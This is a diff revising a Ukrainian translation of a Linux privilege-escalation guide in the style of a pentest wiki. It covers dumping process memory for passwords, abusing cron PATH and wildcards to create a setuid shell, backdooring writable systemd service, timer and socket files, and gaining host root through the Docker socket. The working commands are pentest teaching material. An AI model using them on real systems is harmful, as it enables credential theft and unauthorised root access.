процесів. Це може бути дуже корисним для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови. -### Пам'ять процесу +### Пам'ять процесів -Деякі сервіси на сервері зберігають **credentials у відкритому вигляді в пам'яті**.\ -Зазвичай вам потрібні **root privileges** щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти ще credentials.\ -Проте пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**. +Деякі служби на сервері зберігають **credentials in clear text inside the memory**.\ +Зазвичай для читання пам'яті процесів, що належать іншим користувачам, потрібні **root privileges**, тому це зазвичай більш корисно, коли ви вже root і хочете знайти додаткові credentials.\ +Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. > [!WARNING] -> Зверніть увагу, що сьогодні більшість машин **за замовчуванням не дозволяють ptrace**, що означає, що ви не можете дампити інші процеси, які належать непривілейованому користувачу. +> Зверніть увагу, що зараз на більшості машин **don't allow ptrace by default**, тобто ви не можете дампити інші процеси, що належать неповноваженому користувачу. > > Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > -> - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace. -> - **kernel.yama.ptrace_scope = 1**: можна відлагоджувати лише батьківський процес. -> - **kernel.yama.ptrace_scope = 2**: лише адмін може використовувати ptrace, оскільки це вимагає capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: жодні процеси не можуть бути трасовані ptrace. Після встановлення потрібно перезавантажити систему, щоб знову ввімкнути ptrace. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. Це класичний спосіб, як працювало ptracing. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Якщо у вас є доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати в ньому credentials. +Якщо у вас є доступ до пам'яті FTP service (наприклад), ви можете отримати Heap і шукати всередині його credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Для заданого ідентифікатора процесу **maps показують, як пам'ять відображається в межах цього процесу** віртуального адресного простору; вони також показують **права доступу для кожного відображеного регіону**. Псевдофайл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб **seek into the mem file and dump all readable regions** to a file. +Для заданого ідентифікатора процесу, **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; вони також показують **права доступу кожного відображеного регіону**. Псевдофайл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** та їхні зміщення. Ми використовуємо цю інформацію, щоб **seek into the mem file and dump all readable regions** у файл. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. До віртуального адресного простору ядра можна отримати доступ за допомогою /dev/kmem.\ -Зазвичай `/dev/mem` доступний для читання лише для **root** та групи **kmem**. +`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати через /dev/kmem.\ +Зазвичай `/dev/mem` доступний для читання лише для **root** та групи kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump для linux +### ProcDump for linux -ProcDump — це реалізація для Linux класичного інструмента ProcDump із набору інструментів Sysinternals для Windows. Отримати можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump — це переосмислена версія класичного інструмента ProcDump із набору інструментів Sysinternals для Windows, адаптована для Linux. Отримати його можна на [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Інструменти -Щоб здампити пам'ять процесу, можна використати: +Для dump пам'яті процесу можна використати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимоги root і здампити процес, який належить вам -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і dump процес, що належить вам +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root потрібен) ### Облікові дані з пам'яті процесу @@ -282,16 +282,16 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Ви можете зробити dump процесу (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory: +Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **викрадати облікові дані у відкритому вигляді з пам'яті** та з деяких **відомих файлів**. Для коректної роботи вимагає привілеїв root. +Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **steal clear text credentials from memory** та з деяких **well known files**. Для правильної роботи він потребує привілеїв root. -| Функція | Ім'я процесу | +| Функція | Назва процесу | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +300,7 @@ strings *.dump | grep -i password | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Пошук регулярних виразів/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Пошукові регулярні вирази/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,158 +314,159 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Заплановані/Cron jobs +## Scheduled/Cron jobs -Перевірте, чи якісь заплановані завдання вразливі. Можливо, ви зможете скористатися скриптом, що виконується від імені root (wildcard vuln? можна змінити файли, які використовує root? використати symlinks? створити специфічні файли в директорії, яку використовує root?). +Перевірте, чи вразливий якийсь scheduled job. Можливо, ви можете скористатися скриптом, що виконується від імені root (wildcard vuln? чи можна змінити файли, які використовує root? use symlinks? створити певні файли в директорії, яку використовує root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Шлях cron -Наприклад, всередині _/etc/crontab_ ви можете знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Наприклад, у файлі _/etc/crontab_ можна знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Зверніть увагу, що користувач "user" має права на запис у /home/user_) +(_Зверніть увагу, що користувач "user" має права запису в /home/user_) -Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ +Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановлення PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ Тоді ви можете отримати root shell, використавши: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron, що використовує скрипт з wildcard (Wildcard Injection) -Якщо скрипт виконується від імені root і має “**\***” всередині команди, ви можете експлуатувати це, щоб виконати непередбачувані дії (наприклад privesc). Приклад: +Якщо скрипт, який виконується під root, має “**\***” всередині команди, ви можете використати це, щоб спричинити несподівані дії (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Якщо wildcard передує шляху, наприклад** _**/some/path/\***_ **, це не вразливе (навіть** _**./\***_ **ні).** +**Якщо wildcard передує шляху на кшталт** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **не є).** -Прочитайте наступну сторінку для додаткових трюків з експлуатації wildcard: +Прочитайте наступну сторінку для додаткових трюків щодо wildcard exploitation: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Перезапис Cron script і symlink +### Cron script overwriting and symlink -Якщо ви **можете змінити cron script**, який виконується від імені root, ви можете дуже легко отримати shell: +Якщо ви **can modify a cron script** який виконується під root, ви дуже легко зможете отримати shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Якщо script, який виконується під root, використовує **directory, де у вас є full access**, можливо, варто видалити цю folder і **створити symlink folder на іншу**, що містить script, контрольований вами +Якщо script, що виконується від імені root, використовує **каталог, до якого ви маєте повний доступ**, можливо, корисно видалити цю папку і **створити symlink, який вказує на інший каталог**, що містить script під вашим контролем. ```bash ln -d -s ``` ### Часті cron jobs -Ви можете відстежувати процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї. +Ви можете відстежувати процеси, щоб знайти ті, що виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. -Наприклад, щоб **відстежувати кожні 0.1s протягом 1 minute**, **відсортувати за найменш виконуваними командами** та видалити команди, які виконувалися найчастіше, ви можете зробити: +Наприклад, щоб **відстежувати кожні 0.1s протягом 1 хвилини**, **відсортувати за найменш виконуваними командами** і видалити команди, які виконувалися найчастіше, ви можете зробити: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно відстежуватиме та перелічуватиме кожен процес, що запускається). +**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде відстежувати і перераховувати кожен процес, що запускається). ### Невидимі cron jobs -Можна створити cronjob, **вставивши carriage return після коментаря** (без символу newline), і cronjob працюватиме. Приклад (зверніть увагу на символ carriage return): +Можна створити cronjob, **вставивши символ повернення каретки (carriage return) після коментаря** (без символу нового рядка), і cron job буде працювати. Приклад (зауважте символ повернення каретки): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Сервіси -### Файли _.service_, доступні для запису +### Записувані _.service_ файли -Перевірте, чи можете ви записувати будь-який `.service` файл; якщо можете, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor**, коли сервіс **запускається**, **перезапускається** або **зупиняється** (можливо, доведеться чекати, поки машина не перезавантажиться).\ -Наприклад, створіть ваш backdoor всередині файлу .service з **`ExecStart=/tmp/script.sh`** +Перевірте, чи можете ви записати будь-який `.service` файл; якщо так, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** сервіс **запускається**, **перезапускається** або **зупиняється** (можливо, вам доведеться почекати до перезавантаження машини).\ +Наприклад, створіть ваш backdoor всередині `.service` файлу з **`ExecStart=/tmp/script.sh`** -### Бінарні файли сервісів, доступні для запису +### Доступні для запису service binaries -Майте на увазі, що якщо у вас є **права запису** на binaries, які виконуються сервісами, ви можете замінити їх на backdoors — тоді при повторному запуску сервісів backdoors буде виконано. +Майте на увазі, що якщо у вас є **write permissions over binaries being executed by services**, ви можете змінити їх на backdoors, тому при повторному виконанні services backdoors будуть виконані. ### systemd PATH - Відносні шляхи -Ви можете побачити PATH, який використовує **systemd**, за допомогою: +Ви можете подивитися PATH, який використовує **systemd**, за допомогою: ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **write** у будь-яку з папок цього шляху, можливо, ви зможете **escalate privileges**. Потрібно шукати **relative paths being used on service configurations** у конфігураційних файлах сервісів, наприклад: +Якщо ви виявите, що можете **write** в будь-яку з папок цього шляху, ви можете мати можливість **escalate privileges**. Потрібно шукати **relative paths being used on service configurations** у файлах, таких як: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Потім створіть **executable** з **тим же ім'ям, що і relative path binary**, у папці PATH systemd, до якої ви маєте права на запис, і коли сервіс попросять виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor буде виконано** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете використати `sudo -l`). +Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й бінарний файл за відносним шляхом** у папці PATH systemd, у яку ви маєте право запису, і коли сервіс буде запрошений виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor** буде виконано (звичайні користувачі без привілеїв зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете ви використати `sudo -l`). -**Дізнайтеся більше про сервіси за допомогою `man systemd.service`.** +**Дізнайтесь більше про сервіси за допомогою `man systemd.service`.** ## **Таймери** -**Таймери** — це systemd unit файли, чиє ім'я закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотоничних часових подій та можуть виконуватися асинхронно. +**Таймери** — це systemd unit файли, назва яких закінчується на `**.timer**`, що керують файлами або подіями `**.service**`. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотонних часових подій та можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash systemctl list-timers --all ``` -### Таймери, доступні для запису +### Доступні для запису таймери -Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі systemd.unit (наприклад `.service` або `.target`) +Якщо ви можете змінити таймер, ви можете змусити його запускати деякі існуючі одиниці systemd.unit (наприклад, `.service` або `.target`) ```bash Unit=backdoor.service ``` -У документації можна прочитати, що таке Unit: +In the documentation you can read what the Unit is: -> Юніт, який активується, коли цей таймер спливає. Аргумент — це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу, який має те ж саме ім'я, що й таймер-юнит, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit, який активується, і ім'я таймер-юнита мали однакові назви, за винятком суфікса. +> Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент — це ім'я unit'а, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу з тим самим іменем, що й таймер, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit'а, який активується, та ім'я unit'а таймера збігалися, окрім суфікса. -Отже, щоб зловживати цим дозволом, вам потрібно: +Therefore, to abuse this permission you would need to: -- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує записуваний бінарний файл** -- Знайти якийсь systemd unit, який **виконує відносний шлях** і над яким ви маєте **права на запис** у **systemd PATH** (щоб видавати себе за цей виконуваний файл) +- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує записуваний двійковий файл** +- Знайти systemd unit, який **запускає відносний шлях**, і над яким у вас є **права на запис** у **systemd PATH** (щоб імітувати цей виконуваний файл) -**Дізнайтесь більше про таймери за допомогою `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** ### **Увімкнення таймера** -Щоб увімкнути таймер, потрібні привілеї root і потрібно виконати: +Щоб увімкнути таймер, потрібні права root та виконати: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Зауважте, що **timer** **активується** шляхом створення символічного посилання на нього в `/etc/systemd/system/.wants/.timer` +Зверніть увагу, що **timer** **активується** шляхом створення символічного посилання на нього в `/etc/systemd/system/.wants/.timer` ## Сокети -Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тій самій або на різних машинах у клієнт-серверних моделях. Вони використовують стандартні Unix дескриптори файлів для міжкомп'ютерної комунікації і налаштовуються через `.socket` файли. +Unix Domain Sockets (UDS) дозволяють **взаємодію процесів** на тій самій або різних машинах у межах клієнт-серверних моделей. Вони використовують стандартні Unix descriptor файли для міжкомп'ютерної комунікації і налаштовуються через `.socket` файли. -Сокети можна конфігурувати за допомогою `.socket` файлів. +Сокети можна налаштовувати за допомогою файлів `.socket`. -**Дізнайтеся більше про сокети з `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів: +**Дізнатися більше про сокети можна через `man systemd.socket`.** Всередині цього файлу можна налаштувати кілька цікавих параметрів: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції різні, але коротко використовуються для **вказання, де буде прослуховуватися** сокет (шлях до AF_UNIX socket файлу, IPv4/6 і/або номер порту для прослуховування тощо). -- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання породжується окрема **service instance** і їй передається тільки сокет з'єднання. Якщо **false**, усі прослуховуючі сокети самі **передаються до запущеної service unit**, і для всіх з'єднань створюється тільки одна service unit. Це значення ігнорується для datagram сокетів та FIFO, де одна service unit безумовно обробляє весь вхідний трафік. **За замовчуванням — false**. З міркувань продуктивності рекомендовано писати нові демони таким чином, щоб вони підходили для `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Приймають одну або декілька командних рядків, які **виконуються до** або **після** створення та прив'язки прослуховуючих **sockets**/FIFO відповідно. Першим токеном командного рядка має бути абсолютне ім'я файлу, далі — аргументи процесу. -- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються до** або **після** закриття та видалення прослуховуючих **sockets**/FIFO відповідно. -- `Service`: Вказує ім'я **service** unit, який потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена тільки для сокетів з Accept=no. За замовчуванням використовується service з тією ж назвою, що й сокет (із заміненим суфіксом). У більшості випадків застосовувати цю опцію не потрібно. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції відрізняються, але у підсумку використовуються для **вказання, де буде прослуховуватися** сокет (шлях до файлу AF_UNIX сокета, IPv4/6 і/або номер порту для прослуховування тощо). +- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання створюється екземпляр сервісу, і йому передається лише сокет з'єднання. Якщо **false**, всі прослуховувані сокети самі **передаються** запущеному юніту сервісу, і запускається лише один юніт сервісу для всіх з'єднань. Це значення ігнорується для datagram сокетів і FIFO, де один юніт сервісу безумовно обробляє весь вхідний трафік. **За замовчуванням — false**. З міркувань продуктивності рекомендується писати нові демони таким чином, щоб вони підходили для `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Приймають одну або кілька командних стрічок, які **виконуються перед** або **після** створення і прив'язки прослуховуваних **сокетів**/FIFO відповідно. Перший токен командного рядка повинен бути абсолютним шляхом до файлу, після нього йдуть аргументи процесу. +- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** закриття і видалення прослуховуваних **сокетів**/FIFO відповідно. +- `Service`: Вказує ім'я юніту **service**, який потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена лише для сокетів з Accept=no. За замовчуванням використовується сервіс з тим же ім'ям, що й сокет (з відповідною заміною суфікса). У більшості випадків застосування цієї опції не є необхідним. -### Записувані `.socket` файли +### Writable .socket files -Якщо ви знайдете **доступний для запису** `.socket` файл, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому, **ймовірно, вам доведеться зачекати до перезавантаження машини.**\ _Зауважте, що система має використовувати цю конфігурацію socket файлу, інакше backdoor не буде виконано_ +Якщо ви знайдете **доступний для запису** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому **ймовірно доведеться почекати перезавантаження машини.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Доступні для запису сокети +### Writable sockets -Якщо ви **виявите будь-який записуваний сокет** (_тут йдеться про Unix Sockets, а не про конфігураційні `.socket` файли_), тоді **ви можете спілкуватися** з цим сокетом і, можливо, exploit a vulnerability. +Якщо ви **виявите будь-який сокет, доступний для запису** (_тут йдеться про Unix сокети, а не про конфігураційні файли `.socket`_), то **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість. -### Перерахування Unix сокетів +### Перелік Unix сокетів ```bash netstat -a -p --unix ``` -### Пряме з'єднання +### Сире з'єднання ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -474,7 +475,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Приклад експлуатації:** +**Exploitation example:** {{#ref}} @@ -483,48 +484,48 @@ socket-command-injection.md ### HTTP sockets -Зверніть увагу, що можуть існувати деякі **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). Ви можете перевірити це за допомогою: +Зверніть увагу, що може бути кілька **sockets listening for HTTP** requests (_не йдеться про .socket файли, а про файли, які виступають як unix sockets_). Перевірити це можна за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо socket **відповідає на HTTP-запит**, то ви можете **спілкуватися** з ним і, можливо, **експлуатувати якусь вразливість**. +Якщо socket **відповідає на HTTP** запити, то ви можете **взаємодіяти** з ним і, можливо, **експлуатувати якусь вразливість**. ### Docker socket, доступний для запису -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. За замовчуванням він доступний для запису користувачу `root` та членам групи `docker`. Наявність прав запису до цього socket може призвести до privilege escalation. Нижче наведено розбір того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний. +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. -#### **Privilege Escalation за допомогою Docker CLI** +#### **Privilege Escalation with Docker CLI** -Якщо у вас є права запису до Docker socket, ви можете escalate privileges, використавши наступні команди: +Якщо у вас є права на запис до Docker socket, ви можете escalate privileges, використовуючи такі команди: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ці команди дозволяють запустити контейнер з root-доступом до файлової системи хоста. +Ці команди дозволяють запустити контейнер з доступом на рівні root до файлової системи хоста. #### **Using Docker API Directly** -У випадках, коли Docker CLI недоступний, docker socket все ще можна маніпулювати за допомогою Docker API і `curl` команд. +У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати через Docker API за допомогою команд `curl`. -1. **List Docker Images:** Отримати список доступних образів. +1. **List Docker Images:** Отримайте список доступних образів. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Надіслати запит на створення контейнера, який монтує кореневий каталог хост-системи. +2. **Create a Container:** Надішліть запит на створення контейнера, який монтує кореневий каталог хост-системи. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Запустіть щойно створений контейнер: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Використайте `socat`, щоб встановити з'єднання з контейнером і виконувати команди всередині нього. +3. **Attach to the Container:** Використайте `socat` щоб встановити з'єднання з контейнером, що дозволяє виконувати команди всередині нього. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,14 +535,13 @@ Connection: Upgrade Upgrade: tcp ``` -Після налаштування з'єднання через `socat` ви можете виконувати команди безпосередньо в контейнері з root-доступом до файлової системи хоста. +Після встановлення `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста. ### Others -Зауважте, що якщо у вас є права запису до docker socket тому що ви **inside the group `docker`** — у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Перегляньте **more ways to break out from docker or abuse it to escalate privileges** у: +Зверніть увагу, що якщо у вас є права на запис на docker socket, оскільки ви **inside the group `docker`**, у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Перегляньте **інші способи виходу з docker або його зловживання для підвищення привілеїв** в: {{#ref}} docker-security/ @@ -549,7 +549,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: +Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -558,7 +558,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: +Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -567,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus — це складна система міжпроцесної взаємодії (IPC), що дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасної Linux-системи, вона пропонує надійну платформу для різних форм комунікації між додатками. +D-Bus — це складна система **inter-Process Communication (IPC) system**, що дозволяє застосункам ефективно взаємодіяти й обмінюватися даними. Розроблена для сучасної Linux-системи, вона пропонує надійну структуру для різних форм прикладної комунікації. -Система є універсальною, підтримуючи базовий IPC, що полегшує обмін даними між процесами, нагадуючи **enhanced UNIX domain sockets**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth демона про вхідний дзвінок може змусити музичний плеєр приглушити звук, покращуючи взаємодію з користувачем. Також D-Bus підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. +Система є універсальною, підтримуючи базовий IPC, який покращує обмін даними між процесами, нагадуючи **enhanced UNIX domain sockets**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити програвач музики приглушити звук, покращуючи користувацький досвід. Додатково, D-Bus підтримує систему віддалених об’єктів, спрощуючи запити сервісів і виклики методів між застосунками, оптимізуючи процеси, які раніше були складними. -D-Bus працює за **allow/deny model**, керуючи дозволами на повідомлення (виклики методів, емісії сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з bus, що потенційно може дозволити ескалацію привілеїв через експлуатацію цих дозволів. +D-Bus працює за моделлю **allow/deny model**, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з шиною і потенційно можуть дозволяти privilege escalation через експлуатацію цих дозволів. -Приклад такої політики у `/etc/dbus-1/system.d/wpa_supplicant.conf` наведено нижче, який деталізує дозволи для користувача root на володіння, відправлення та отримання повідомлень від `fi.w1.wpa_supplicant1`. +Наведено приклад такої політики у `/etc/dbus-1/system.d/wpa_supplicant.conf`, який деталізує дозволи користувача root щодо володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. -Політики без вказаного користувача або групи застосовуються універсально, тоді як політики з контекстом "default" застосовуються до всіх, хто не покритий іншими специфічними політиками. +Політики без зазначеного користувача чи групи застосовуються універсально, тоді як політики з контекстом "default" застосовуються до всіх, хто не охоплений іншими специфічними політиками. ```xml @@ -584,7 +584,8 @@ D-Bus працює за **allow/deny model**, керуючи дозволами ``` -**Дізнайтеся тут, як enumerate і exploit комунікацію D-Bus:** +**Дізнайтеся, як перераховувати та експлуатувати D-Bus-комунікацію тут:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -592,9 +593,9 @@ 